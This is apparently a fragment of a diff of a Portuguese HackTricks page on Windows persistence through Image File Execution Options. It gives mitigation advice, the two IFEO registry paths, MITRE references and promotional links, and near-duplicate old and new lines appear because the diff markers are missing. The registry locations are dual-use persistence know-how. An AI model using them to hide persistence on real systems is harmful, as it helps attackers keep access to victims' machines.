Para mitigar esse tipo de ataque, é recomendado restringir as permissões de gravação nas chaves de registro relacionadas às Opções de Execução de Arquivos de Imagem. Além disso, é importante monitorar as alterações nessas chaves de registro em busca de atividades suspeitas.
Para mitigar esse tipo de ataque, é recomendado restringir o acesso ao Registro do Windows e monitorar as alterações feitas nele. Além disso, é importante manter o sistema operacional e os aplicativos atualizados para corrigir possíveis vulnerabilidades que possam ser exploradas.
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
@ -341,9 +339,9 @@ Encontre mais Autoruns como registros em [https://www.microsoftpressstore.com/ar
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -351,7 +349,7 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**